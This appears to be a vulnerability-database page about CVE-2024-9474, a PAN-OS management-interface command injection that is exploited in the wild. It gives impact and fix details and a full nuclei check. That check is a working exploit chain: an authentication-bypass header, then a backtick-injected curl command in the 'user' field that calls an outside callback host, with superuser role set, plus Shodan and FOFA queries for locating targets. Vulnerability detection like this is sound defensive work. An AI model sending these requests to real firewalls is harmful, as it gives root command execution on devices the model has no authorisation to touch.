PAN-OS Management Web Interface - Command Injection

Exploited in the wild. Listed by CISA on 2024-11-18; known to be used by ransomware.

highseverity

7.2CVSS score

93.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Impact

Authenticated administrators with access to the management web interface can escalate privileges to execute commands with root privileges on the PAN-OS firewall, achieving complete system control and bypassing security controls.

Fix

Apply security updates from Palo Alto Networks to address the privilege escalation and command injection vulnerability in the PAN-OS management web interface.

How to confirm it

Send: GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map
Positive when: status_code == 200 and contains(body, "0.0.0") and contains_all(header, "Expires: 0", "PHPSESSID=", "application/json")
Send: POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map
Positive when: contains "@start@PHPSESSID="
Send: GET /index.php/.js.map
Positive when: contains(interactsh_protocol, "dns") and contains(body, "panos")

Run it with nuclei: nuclei -id CVE-2024-9474 -u <target>

The full check

id: CVE-2024-9474

info:
  name: PAN-OS Management Web Interface - Command Injection
  author: watchTowr,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.
    Cloud NGFW and Prisma Access are not impacted by this vulnerability.
  impact: |
    Authenticated administrators with access to the management web interface can escalate privileges to execute commands with root privileges on the PAN-OS firewall, achieving complete system control and bypassing security controls.
  remediation: |
    Apply security updates from Palo Alto Networks to address the privilege escalation and command injection vulnerability in the PAN-OS management web interface.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2024-9474
    cwe-id: CWE-78
    epss-score: 0.93767
    epss-percentile: 0.99845
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
    fofa-query: icon_hash="-631559155"
  tags: cve,cve2024,panos,rce,kev,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "0.0.0")'
          - 'contains_all(header, "Expires: 0", "PHPSESSID=", "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off
        Content-Type: application/x-www-form-urlencoded

        user=`curl+{{interactsh-url}}`&userRole=superuser&remoteHost=&vsys=vsys1

    matchers:
      - type: word
        part: body
        words:
          - "@start@PHPSESSID="
        internal: true

    extractors:
      - type: regex
        part: body
        name: phpsessid
        group: 1
        regex:
          - '@start@PHPSESSID=(.*?)@end@'
        internal: true

  - raw:
      - |
        GET /index.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{phpsessid}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "panos")'
        condition: and

Use this check only on systems you are authorised to test. Where the data comes from